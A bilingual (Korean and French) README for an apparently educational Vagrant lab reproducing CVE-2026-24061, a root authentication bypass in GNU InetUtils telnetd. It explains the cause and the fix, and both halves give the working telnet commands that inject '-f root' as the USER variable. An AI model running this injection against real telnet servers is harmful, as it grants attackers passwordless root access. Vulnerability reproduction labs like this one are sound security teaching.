
# CVE-2026-24061 재현 실습 환경 GNU InetUtils telnetd의 인증 우회 취약점인 CVE-2026-24061을 위한 재현 실습 환경입니다. Vagrant 기반의 격리된 환경과 단계별 익스플로잇 지침을 제공하여 루트 셸 접근을 시연합니다.
⚠️ 교육 목적으로만 사용하세요. 격리된 실습 환경입니다.
GNU InetUtils telnetd ≤ 2.7의 치명적인 인증 우회(CVSS 9.8)입니다.
Telnet NEW_ENVIRON 옵션을 통해 USER 변수로 -f root를 주입하면,
인증되지 않은 공격자가 비밀번호 없이 루트 셸을 획득할 수 있습니다.
Telnet 협상 중 클라이언트로부터 수신된 USER 변수는 검증 없이 직접
/usr/bin/login에 전달됩니다:
/usr/bin/login -p -f root
-f 플래그는 login이 지정된 사용자에 대한 비밀번호 검증을 건너뛰도록 지시합니다.
이 동작은 RFC 1572(7장)에 알려진 위험으로 문서화되어 있습니다. 그런데도 이 버그는
inetutils에 10년 이상 존재했습니다.
GNU InetUtils telnetd 1.9.3~2.7
GNU InetUtils ≥ 2.7-2로 업그레이드하세요.
이 실습은 Vagrant를 사용하여 취약한 버전의 telnetd(inetutils 2.5, 소스에서 컴파일)를 실행하는 실제 격리 VM을 프로비저닝하여 실제 환경에 최대한 가깝게 구성합니다.
요구 사항: 머신에 Vagrant + VirtualBox가 설치되어 있어야 합니다.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
VM은 IP 192.168.56.10으로 시작하고 telnetd는 23번 포트에서 수신 대기합니다.

호스트 머신에서:
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
USER 변수는 로그인 프롬프트가 나타나기 전, 협상 단계에서 NEW_ENVIRON Telnet 옵션을 통해 주입됩니다.

Agokoli
⚠️ Usage éducatif uniquement. Environnement isolé.
Contournement d'authentification critique (CVSS 9.8) dans GNU InetUtils telnetd ≤ 2.7.
En injectant -f root comme valeur de la variable USER via l'option Telnet NEW_ENVIRON,
un attaquant non authentifié peut obtenir un shell root sans aucun mot de passe.
La variable USER reçue du client pendant la négociation Telnet est passée
directement à /usr/bin/login sans validation :
/usr/bin/login -p -f root
Le flag -f indique à login de ne pas vérifier le mot de passe pour l'utilisateur donné.
Ce risque est documenté dans la RFC 1572 (Section 7) — pourtant le bug est resté
présent dans inetutils pendant plus d'une décennie.
GNU InetUtils telnetd 1.9.3 à 2.7
Mettre à jour vers GNU InetUtils ≥ 2.7-2
Ce lab utilise Vagrant pour provisionner une vraie VM isolée faisant tourner la version vulnérable de telnetd (inetutils 2.5, compilé depuis les sources), afin d'être au plus proche d'un environnement réel.
Prérequis : Vagrant + VirtualBox installés sur votre machine.
git clone https://github.com/agokoli/cve-2026-24061-lab
cd cve-2026-24061-lab
vagrant up
La VM démarre avec l'IP 192.168.56.10 et telnetd en écoute sur le port 23.

Depuis votre machine hôte :
telnet
telnet> environ define USER "-f root"
telnet> open 192.168.56.10 23
La variable USER est injectée via l'option NEW_ENVIRON du protocole Telnet pendant
la phase de négociation — avant même l'apparition du prompt login:.

Agokoli